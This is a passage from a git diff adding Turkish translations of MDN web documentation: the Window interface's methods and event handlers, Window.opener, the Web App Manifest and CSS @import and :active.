<dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.getComputedStyle()")}}</dt> + <dd>Gets computed style for the specified element. Computed style indicates the computed values of all CSS properties of the element.</dd> + <dt>{{domxref("Window.getDefaultComputedStyle()")}} {{Non-standard_inline}}</dt> + <dd>Gets default computed style for the specified element, ignoring author stylesheets.</dd> + <dt>{{domxref("Window.getSelection()")}}</dt> + <dd>Returns the selection object representing the selected item(s).</dd> + <dt>{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> + <dd>Returns the browser to the home page.</dd> + <dt>{{domxref("Window.matchMedia()")}} {{gecko_minversion_inline("6.0")}}</dt> + <dd>Returns a {{domxref("MediaQueryList")}} object representing the specified media query string.</dd> + <dt>{{domxref("Window.maximize()")}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.minimize()")}} (top-level XUL windows only)</dt> + <dd>Minimizes the window.</dd> + <dt>{{domxref("Window.moveBy()")}}</dt> + <dd>Moves the current window by a specified amount.</dd> + <dt>{{domxref("Window.moveTo()")}}</dt> + <dd>Moves the window to the specified coordinates.</dd> + <dt>{{domxref("Window.mozRequestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}</dt> + <dd>Tells the browser that an animation is in progress, requesting that the browser schedule a repaint of the window for the next animation frame. This will cause a <code>MozBeforePaint</code> event to fire before that repaint occurs.</dd> + <dt>{{domxref("Window.open()")}}</dt> + <dd>Opens a new window.</dd> + <dt>{{domxref("Window.openDialog()")}}</dt> + <dd>Opens a new dialog window.</dd> + <dt>{{domxref("Window.postMessage()")}} {{Fx_minversion_inline(3)}}</dt> + <dd>Provides a secure means for one window to send a string of data to another window, which need not be within the same domain as the first.</dd> + <dt>{{domxref("Window.print()")}}</dt> + <dd>Opens the Print Dialog to print the current document.</dd> + <dt>{{domxref("Window.prompt()")}}</dt> + <dd>Returns the text entered by the user in a prompt dialog.</dd> + <dt>{{domxref("Window.releaseEvents()")}} {{Deprecated_inline}}</dt> + <dd>Releases the window from trapping events of a specific type.</dd> + <dt>{{domxref("Window.requestIdleCallback()")}} {{experimental_inline}}</dt> + <dd>Enables the scheduling of tasks during a browser's idle periods.</dd> + <dt>{{domxref("Window.resizeBy()")}}</dt> + <dd>Resizes the current window by a certain amount.</dd> + <dt>{{domxref("Window.resizeTo()")}}</dt> + <dd>Dynamically resizes window.</dd> + <dt>{{domxref("Window.restore()")}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.routeEvent()")}} {{obsolete_inline(24)}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.scroll()")}}</dt> + <dd>Scrolls the window to a particular place in the document.</dd> + <dt>{{domxref("Window.scrollBy()")}}</dt> + <dd>Scrolls the document in the window by the given amount.</dd> + <dt>{{domxref("Window.scrollByLines()")}}</dt> + <dd>Scrolls the document by the given number of lines.</dd> + <dt>{{domxref("Window.scrollByPages()")}}</dt> + <dd>Scrolls the current document by the specified number of pages.</dd> + <dt>{{domxref("Window.scrollTo()")}}</dt> + <dd>Scrolls to a particular set of coordinates in the document.</dd> + <dt>{{domxref("Window.setCursor()")}}</dt> + <dd>Changes the cursor for the current window</dd> + <dt>{{domxref("Window.setImmediate()")}}</dt> + <dd>Executes a function after the browser has finished other heavy tasks</dd> + <dt>{{domxref("Window.setResizable()")}}</dt> + <dd>Toggles a user's ability to resize a window.</dd> + <dt>{{domxref("Window.showModalDialog()")}} {{obsolete_inline}}</dt> + <dd>Displays a modal dialog.</dd> + <dt>{{domxref("Window.sizeToContent()")}}</dt> + <dd>Sizes the window according to its content.</dd> + <dt>{{domxref("Window.stop()")}}</dt> + <dd>This method stops window loading.</dd> + <dt>{{domxref("Window.updateCommands()")}}</dt> + <dd>Updates the state of commands of the current chrome window (UI).</dd> +</dl> + +<h3 id="Methods_implemented_from_elsewhere">Methods implemented from elsewhere</h3> + +<dl> + <dt>{{domxref("EventTarget.addEventListener()")}}</dt> + <dd>Register an event handler to a specific event type on the window.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt> + <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt> + <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt> + <dd>Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt> + <dd>Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt> + <dd>Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at <em>(sx, sy)</em> with width sw, and height sh.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt> + <dd>Starts the process of fetching a resource from the network.</dd> + <dt>{{domxref("EventTarget.removeEventListener")}}</dt> + <dd>Removes an event listener from the window.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt> + <dd>Schedules a function to execute every time a given number of milliseconds elapses.</dd> + <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt> + <dd>Schedules a function to execute in a given amount of time.</dd> +</dl> + +<h2 id="Event_handlers">Event handlers</h2> + +<p>These are properties of the window object that can be set to establish event handlers for the various things that can happen in the window that might be of interest.</p> + +<p><em>This interface inherits event handlers from the {{domxref("EventTarget")}} interface and implements event handlers from {{domxref("WindowEventHandlers")}}.</em></p> + +<div class="note"> +<p><strong>Note:</strong> Starting in {{Gecko("9.0")}}, you can now use the syntax <code>if ("onabort" in window)</code> to determine whether or not a given event handler property exists. This is because event handler interfaces have been updated to be proper web IDL interfaces. See <a href="/en-US/docs/DOM/DOM_event_handlers">DOM event handlers</a> for details.</p> +</div> + +<dl> + <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt> + <dd>Called when the loading of a resource has been aborted, such as by a user canceling the load while it is still in progress</dd> + <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt> + <dd>Called when the print dialog box is closed. See {{event("afterprint")}} event.</dd> + <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt> + <dd>Called when the print dialog box is opened. See {{event("beforeprint")}} event.</dd> + <dt>{{domxref("Window.onbeforeinstallprompt")}}</dt> + <dd>An event handler property dispatched before a user is prompted to save a web site to a home screen on mobile.</dd> + <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt> + <dd>An event handler property for before-unload events on the window.</dd> + <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt> + <dd>Called after the window loses focus, such as due to a popup.</dd> + <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt> + <dd>An event handler property for change events on the window.</dd> + <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt> + <dd>Called after the ANY mouse button is pressed & released</dd> + <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt> + <dd>Called when a double click is made with ANY mouse button.</dd> + <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt> + <dd>Called after the window is closed</dd> + <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt> + <dd>Called when the RIGHT mouse button is pressed</dd> + <dt>{{domxref("Window.ondevicelight")}}</dt> + <dd>An event handler property for any ambient light levels changes</dd> + <dt>{{domxref("Window.ondevicemotion")}} {{gecko_minversion_inline("6.0")}}</dt> + <dd>Called if accelerometer detects a change (For mobile devices)</dd> + <dt>{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}</dt> + <dd>Called when the orientation is changed (For mobile devices)</dd> + <dt>{{domxref("Window.ondeviceorientationabsolute")}} {{non-standard_inline}} Chrome only</dt> + <dd>An event handler property for any device orientation changes.</dd> + <dt>{{domxref("Window.ondeviceproximity")}}</dt> + <dd>An event handler property for device proximity event</dd> + <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt> + <dd>Called when a resource fails to load OR when an error occurs at runtime. See {{event("error")}} event.</dd> + <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt> + <dd>Called after the window receives or regains focus. See {{event("focus")}} events.</dd> + <dt>{{domxref("WindowEventHandlers.onhashchange")}} {{gecko_minversion_inline("1.9.2")}}</dt> + <dd>An event handler property for {{event('hashchange')}} events on the window; called when the part of the URL after the hash mark ("#") changes.</dd> + <dt>{{domxref("Window.onappinstalled")}}</dt> + <dd>Called when the page is installed as a webapp. See {{event('appinstalled')}} event.</dd> + <dt>{{domxref("Window.oninput")}}</dt> + <dd>Called when the value of an <input> element changes</dd> + <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt> + <dd>Called when you begin pressing ANY key. See {{event("keydown")}} event.</dd> + <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt> + <dd>Called when a key (except Shift, Fn, and CapsLock) is in pressed position. See {{event("keypress")}} event.</dd> + <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt> + <dd>Called when you finish releasing ANY key. See {{event("keyup")}} event.</dd> + <dt>{{domxref("WindowEventHandlers.onlanguagechange")}}</dt> + <dd>An event handler property for {{event("languagechange")}} events on the window.</dd> + <dt>{{domxref("GlobalEventHandlers.onload")}}</dt> + <dd>Called after all resources and the DOM are fully loaded. WILL NOT get called when the page is loaded from cache, such as with back button.</dd> + <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt> + <dd>Called when ANY mouse button is pressed.</dd> + <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt> + <dd>Called continously when the mouse is moved inside the window.</dd> + <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt> + <dd>Called when the pointer leaves the window.</dd> + <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt> + <dd>Called when the pointer enters the window</dd> + <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt> + <dd>Called when ANY mouse button is released</dd> + <dt>{{domxref("Window.onmozbeforepaint")}} {{gecko_minversion_inline("2.0")}}</dt> + <dd>An event handler property for the <code>MozBeforePaint</code> event, which is sent before repainting the window if the event has been requested by a call to the {{domxref("Window.mozRequestAnimationFrame()")}} method.</dd> + <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt> + <dd>Called when network connection is lost. See {{event("offline")}} event.</dd> + <dt>{{domxref("WindowEventHandlers.ononline")}}</dt> + <dd>Called when network connection is established. See {{event("online")}} event.</dd> + <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt> + <dd>Called when the user navigates away from the page, before the onunload event. See {{event("pagehide")}} event.</dd> + <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt> + <dd>Called after all resources and the DOM are fully loaded. See {{event("pageshow")}} event.</dd> + <dt>{{domxref("Window.onpaint")}}</dt> + <dd>An event handler property for paint events on the window.</dd> + <dt>{{domxref("WindowEventHandlers.onpopstate")}} {{gecko_minversion_inline("2.0")}}</dt> + <dd>Called when a back putton is pressed.</dd> + <dt>{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}</dt> + <dd>An event handler for handled {{jsxref("Promise")}} rejection events.</dd> + <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt> + <dd>Called when a form is reset</dd> + <dt>{{domxref("GlobalEventHandlers.onresize")}}</dt> + <dd>Called continuously as you are resizing the window.</dd> + <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt> + <dd>Called when the scroll bar is moved via ANY means. If the resource fully fits in the window, then this event cannot be invoked</dd> + <dt>{{domxref("GlobalEventHandlers.onwheel")}}</dt> + <dd>Called when the mouse wheel is rotated around any axis</dd> + <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt> + <dd>Called after text in an input field is selected</dd> + <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.</dd> + <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt> + <dd>Called when there is a change in session storage or local storage. See {{event("storage")}} event</dd> + <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt> + <dd>Called when a form is submitted</dd> + <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt> + <dd>An event handler for unhandled {{jsxref("Promise")}} rejection events.</dd> + <dt>{{domxref("WindowEventHandlers.onunload")}}</dt> + <dd>Called when the user navigates away from the page.</dd> + <dt>{{domxref("Window.onuserproximity")}}</dt> + <dd>An event handler property for user proximity events.</dd> + <dt>{{domxref("Window.onvrdisplayconnected")}} {{experimental_inline}}</dt> + <dd>Represents an event handler that will run when a compatible VR device has been connected to the computer (when the {{event("vrdisplayconnected")}} event fires).</dd> + <dt>{{domxref("Window.onvrdisplaydisconnected")}} {{experimental_inline}}</dt> + <dd>Represents an event handler that will run when a compatible VR device has been disconnected from the computer (when the {{event("vrdisplaydisconnected")}} event fires).</dd> + <dt>{{domxref("Window.onvrdisplaypresentchange")}} {{experimental_inline}}</dt> + <dd>represents an event handler that will run when the presenting state of a VR device changes — i.e. goes from presenting to not presenting, or vice versa (when the {{event("onvrdisplaypresentchange")}} event fires).</dd> +</dl> + +<h2 id="Constructors">Constructors</h2> + +<p>See also the <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Interfaces</a>.</p> + +<dl> + <dt>{{domxref("Window.ConstantSourceNode")}}</dt> + <dd>Creates an instance of {{domxref("ConstantSourceNode")}}</dd> + <dt>{{domxref("Window.DOMParser")}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.GeckoActiveXObject")}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Image")}}</dt> + <dd>Used for creating an {{domxref("HTMLImageElement")}}.</dd> + <dt>{{domxref("Option")}}</dt> + <dd>Used for creating an {{domxref("HTMLOptionElement")}}</dd> + <dt>{{domxref("Window.QueryInterface")}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.XMLSerializer")}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Worker")}}</dt> + <dd>Used for creating a <a href="/en-US/docs/DOM/Using_web_workers">Web worker</a></dd> + <dt>{{domxref("Window.XPCNativeWrapper")}}</dt> + <dd>{{todo("NeedsContents")}}</dd> + <dt>{{domxref("Window.XPCSafeJSObjectWrapper")}}</dt> + <dd>{{todo("NeedsContents")}}</dd> +</dl> + +<h2 id="Interfaces">Interfaces</h2> + +<p>See <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Reference</a></p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Working_with_windows_in_chrome_code">Working with windows in chrome code</a></li> +</ul> diff --git a/files/tr/web/api/window/opener/index.html b/files/tr/web/api/window/opener/index.html new file mode 100644 index 0000000000..5345325459 --- /dev/null +++ b/files/tr/web/api/window/opener/index.html @@ -0,0 +1,40 @@ +--- +title: Window.opener +slug: Web/API/Window/opener +tags: + - Pencere +translation_of: Web/API/Window/opener +--- +<div>{{APIRef("HTML DOM")}}</div> + +<p><span class="seoSummary">{{domxref("Window")}} arabiriminin <code><strong>opener</strong></code> özelliği, {{domxref("Window.open", "open()")}} kullanarak bu pencereyi açmış olan diğer pencereye bir referans döndürür.</span></p> + +<p>Başka bir deyişle, eğer <code>A</code> penceresi <code>B</code> penceresini açmışsa, <code>B.opener</code> geriye <code>A</code> döndürür.</p> + +<h2 id="Syntax" name="Syntax"><span class="tlid-translation translation" lang="tr">Sözdizimi</span></h2> + +<pre class="syntaxbox"><var>openerWindow</var> = window.opener; +</pre> + +<h3 id="Değeri">Değeri</h3> + +<p>Şimdiki pencereyi açmak için <code>open()</code> metodunu çağırmış olan pencereye referans veren bir {{domxref("Window")}} , ya da bu pencere başka bir pencere tarafından bağlantılı olarak açılmadı veya yaratılmadıysa <code>null</code> 'dır.</p> + +<p><a href="https://caniuse.com/#search=noopener">Bazı tarayıcılarda</a>, kaynak olan {{HTMLElement("a")}} öğesindeki bir <code>rel="noopener"</code> özniteliği, <code>window.opener</code> referansının ayarlanmasını engeller, bu durumda bu özellik <code>null</code> döndürür.</p> + +<h2 id="Example" name="Example">Örnek</h2> + +<pre class="brush:js">if (window.opener != indexWin) { + referToTop(window.opener); +} +</pre> + +<h2 id="Notes" name="Notes">Kullanım notları</h2> + +<p><span class="tlid-translation translation" lang="tr">Bir pencere başka bir pencereden açıldığında</span> ({{domxref("Window.open")}} metodu veya {{htmlattrxref("target", "a")}} özniteliği belirtilmiş olan bir bağlantı kullanılarak), <code><strong>window.opener</strong></code> ile bu ilk pencereye işaret eden bir referans tutar. Eğer şimdiki pencereyi açan bir pencere yoksa, bu metot<span style="line-height: 1.5;"> <code>null</code> döndürür.</span></p> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<div class="hidden"><span class="tlid-translation translation" lang="tr">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden üretilmiştir</span> . <span class="tlid-translation translation" lang="tr">Eğer bu verilere katkıda bulunmak istiyorsanız,</span> lütfen <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <span class="tlid-translation translation" lang="tr">adresini ziyaret edin ve bize bir çekme isteği gönderin</span> .</div> + +<p>{{Compat("api.Window.opener")}}</p> diff --git a/files/tr/web/bildiri/index.html b/files/tr/web/bildiri/index.html new file mode 100644 index 0000000000..3bc751b238 --- /dev/null +++ b/files/tr/web/bildiri/index.html @@ -0,0 +1,93 @@ +--- +title: Web Uygulama Bildirisi +slug: Web/Bildiri +tags: + - Ağ + - Bildiri + - Süreğen Ağ Uygulamaları + - Uygulama +translation_of: Web/Manifest +--- +<p>Web uygulama bildirisi uygulamayla ilgili bilgiler (ad, yazar, açıklama...) veren bir JSON dosyasıdır. </p> + +<p>Web uygulama bildirileri <a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Progressive/Introduction">süreğen ağ uygulamaları </a>için belirlenen ölçünlerin bir parçasıdır. </p> + +<h2 id="Deploying_a_manifest_with_the_link_tag" name="Deploying_a_manifest_with_the_link_tag">Belgeye çağırmak</h2> + +<p>Web uygulama bildirileri HTML belgesindeki <a href="/en-US/docs/Web/HTML/Element/head">head</a> bölümüne <a href="/en-US/docs/Web/HTML/Element/link">link ögesi</a> eklenerek çağrılır.</p> + +<pre class="brush: html"><link rel="manifest" href="/bildiri.webmanifest"></pre> + +<div class="note"> +<p><strong>Bilgi</strong>: <code>.webmanifest</code> uzantısı bildirgedeki <a href="https://w3c.github.io/manifest/#media-type-registration">Ortam türü kaydı</a> bölümünde bildirilmiştir ama tarayıcılar genellikle diğer uygun uzantıları (<code>.json</code>) da destekler.</p> +</div> + +<h2 id="Örnek_bildiri">Örnek bildiri</h2> + +<pre class="brush: json">{ + "short_name": "Otağ JS", + "name": "Otağ JavaScript Çatısı Ağ Yerliği", + "start_url":"https://otagjs.org/#/belge", + "display":"standalone", + "theme_color":"#000", + "background_color":"#FAFAFA", + "icons": [ + { + "src": "img/android-icon-36x36.png", + "sizes": "36x36", + "type": "image/png", + "density": "0.75" + }, + { + "src": "img/android-icon-48x48.png", + "sizes": "48x48", + "type": "image/png", + "density": "1.0" + }, + { + "src": "img/android-icon-72x72.png", + "sizes": "72x72", + "type": "image/png", + "density": "1.5" + }, + { + "src": "img/android-icon-96x96.png", + "sizes": "96x96", + "type": "image/png", + "density": "2.0" + }, + { + "src": "img/android-icon-144x144.png", + "sizes": "144x144", + "type": "image/png", + "density": "3.0" + } + ] +}</pre> + +<h2 id="Özellikler">Özellikler</h2> + +<h3 id="background_color"><code>background_color</code></h3> + +<p>Uygulamanın ardalan rengini belirler. Burada CSS belgesinde belirtilen değer yinelenebilir. Bu belirtim, tarayıcınız uygulamayı başlatırken biçim belgeniz daha hazır değilken bile ardalan rengini çizebilmesini sağlar ve içerik yüklenirken yumuşak bir geçiş oluşturur. </p> + +<pre class="brush: json">"background_color": "#F00"</pre> + +<div class="note"> +<p><strong>Bilgi</strong>: <code>background_color</code> özelliği yalnızca içerik yüklenirken kullanıcı deneyimini artırmak amacıyla düşünülmüştür. Süreğen ağ uygulamanızın biçim(CSS) belgesi yüklendikten sonra <a href="/en-US/docs/Web/CSS/background-color">background color</a> geçersiz kılınacaktır.</p> +</div> + +<h3 id="description"><code>description</code></h3> + +<p>Ana ekrana eklenen uygulamanızın ne yaptığını anlatan "açıklama" alanıdır.</p> + +<pre class="brush: json">"description": "Bu uygulama yerleşim alanları arar."</pre> + +<h3 id="dir"><code>dir</code></h3> + +<p><code>name</code>, <code>short_name</code>, <code>description</code> alanlarında belirttiğiniz bilgilerin yazım yönünü belirler.<br> + <code>lang</code> (doğal dil) üyesiyle birlikte sağdan sola dillerin doğru görüntülenmesini sağlar.</p> + +<pre class="brush: json" dir="rtl">"dir": "rtl", +"lang": "otk", +"short_name": "</pre> diff --git a/files/tr/web/css/@import/index.html b/files/tr/web/css/@import/index.html new file mode 100644 index 0000000000..83a6381530 --- /dev/null +++ b/files/tr/web/css/@import/index.html @@ -0,0 +1,125 @@ +--- +title: '@import' +slug: Web/CSS/@import +translation_of: Web/CSS/@import +--- +<div>{{CSSRef}}</div> + +<p><a href="/tr-TR/docs/Web/CSS">CSS</a> <a href="/tr-TR/docs/Web/CSS/At-rule">@-kurallarıdan</a> olan <strong><code>@import</code></strong> diğer stil dosyalarından stil kurallarını mevcut sayfamıza dahil etmek için kullanılır. These rules must precede all other types of rules, except {{cssxref("@charset")}} rules; as it is not a <a href="/en-US/docs/Web/CSS/Syntax#nested_statements">nested statement</a>, <code>@import</code> cannot be used inside <a href="/en-US/docs/Web/CSS/At-rule#Conditional_Group_Rules">conditional group at-rules</a>.</p> + +<pre class="brush: css no-line-numbers">@import url("fineprint.css") print; +@import url("bluish.css") projection, tv; +@import 'custom.css'; +@import url("chrome://communicator/skin/"); +@import "common.css" screen, projection; +@import url('landscape.css') screen and (orientation:landscape);</pre> + +<p>So that {{glossary("user agent")}}s can avoid retrieving resources for unsupported media types, authors may specify media-dependent <code>@import</code> rules. These conditional imports specify comma-separated <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">media queries</a> after the URL. In the absence of any media query, the import is unconditional. Specifying <code>all</code> for the medium has the same effect.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">@import <em>url</em>; +@import <em>url</em> <em>list-of-media-queries</em>; +</pre> + +<p>where:</p> + +<dl> + <dt style="margin: 0 40px;"><em>url</em></dt> + <dd style="margin: 0 40px;">Is a {{cssxref("<string>")}} or a {{cssxref("<url>")}} representing the location of the resource to import. The URL may be absolute or relative. Note that the URL need not actually specify a file; it can just specify the package name and part, and the appropriate file is chosen automatically (e.g. <strong>chrome://communicator/skin/</strong>). <a href="/en-US/docs/Mozilla/Tech/XUL/Tutorial/The_Chrome_URL">See here</a> for more information.</dd> + <dt style="margin: 0 40px;"><em>list-of-media-queries</em></dt> + <dd style="margin: 0 40px;">Is a comma-separated list of <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">media queries</a> conditioning the application of the CSS rules defined in the linked URL. If the browser does not support any these queries, it does not load the linked resource.</dd> +</dl> + +<h3 id="Formal_syntax">Formal syntax</h3> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Cascade', '#at-ruledef-import', '@import')}}</td> + <td>{{Spec2('CSS3 Cascade')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('CSS3 Media Queries', '#media0', '@import')}}</td> + <td>{{Spec2('CSS3 Media Queries')}}</td> + <td>Extended the syntax to support any media query and not only simple <a href="/en-US/docs/Web/CSS/@media#Media_types">media types</a>.</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'cascade.html#at-import', '@import')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td>Added support for {{cssxref("<string>")}} to denote the url of a stylesheet,<br> + and requirement to insert the <code>@import</code> rule at the beginning of the CSS document.</td> + </tr> + <tr> + <td>{{SpecName('CSS1', '#the-cascade', '@import')}}</td> + <td>{{Spec2('CSS1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>5.5</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>5.5</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/tr/web/css/_colon_active/index.html b/files/tr/web/css/_colon_active/index.html new file mode 100644 index 0000000000..50fc217bc1 --- /dev/null +++ b/files/tr/web/css/_colon_active/index.html @@ -0,0 +1,96 @@ +--- +title: ':active' +slug: 'Web/CSS/:active' +translation_of: 'Web/CSS/:active' +--- +<div>{{CSSRef}}</div> + +<p><span class="seoSummary"><strong><code>:active</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class'ı</a> kullanıcı tarafından o an kullanılan (buton gibi) elementleri temsil eder.</span> Bu seçicinin etkinliği, fare ile gezinirken, sol tuşa bastığınızda aktifleşir ve bıraktığınızda son bulur. <code>:active</code> seçicisi genellikle {{HTMLElement("a")}} ve {{HTMLElement("button")}} buton elementleri için kullanılmaktadır ancak diğer elementler için de tercih edilebilir.</p> + +<pre class="brush: css no-line-numbers">/* Aktif edilmiş bir <a> elementinin seçicisidir. */ +a:active { + color: red; +}</pre> + +<p><code>:active</code> pseudo-class'ı ({{cssxref(":link")}}, {{cssxref(":hover")}}, veya {{cssxref(":visited")}}) değerleri tanımlı ise aktif olmayacaktır. Linkleri uygun bir şekilde stillendirebilmek için, <code>:active</code> kuralını linklerle alakalı tüm kurallar arasında LVHA order olarak bilinen sırada, en sonda kullanın.<br> + <br> + <em>LVHA-order</em>: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p> + +<div class="note"><strong>Note:</strong> On systems with multi-button mice, CSS3 specifies that the <code>:active</code> pseudo-class must only apply to the primary button; on right-handed mice, this is typically the leftmost button.</div> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Example" name="Example">Example</h2> + +<div id="example"> +<h3 id="HTML">HTML</h3> + +<pre class="brush: html;"><a href="#">This link will turn lime while you click on it.</a> +</pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css;">a:link { color: blue; } /* Unvisited links */ +a:visited { color: purple; } /* Visited links */ +a:hover { <span class="st">background: yellow</span>; } /* User hovers */ +a:active { color: lime; } /* Active links */</pre> +</div> + +<h3 id="Result">Result</h3> + +<div>{{EmbedLiveSample('Example')}}</div> + +<h2 id="Specifications"><span>Specifications</span></h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-active', ':active')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('CSS4 Selectors', '#active-pseudo', ':active')}}</td> + <td>{{Spec2('CSS4 Selectors')}}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Selectors', '#useraction-pseudos', ':active')}}</td> + <td>{{Spec2('CSS3 Selectors')}}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':active')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{SpecName('CSS1', '#anchor-pseudo-classes', ':active')}}</td> + <td>{{Spec2('CSS1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("css.selectors.active")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>Link-related pseudo-classes: {{cssxref(":link")}}, {{cssxref(":visited")}}, and {{cssxref(":hover")}}</li> +</ul> diff --git a/files/tr/web/css/_colon_first-of-type/index.html b/files/tr/web/css/_colon_first-of-type/index.html new file mode 100644 index 0000000000..661909a3eb --- /dev/null +++ 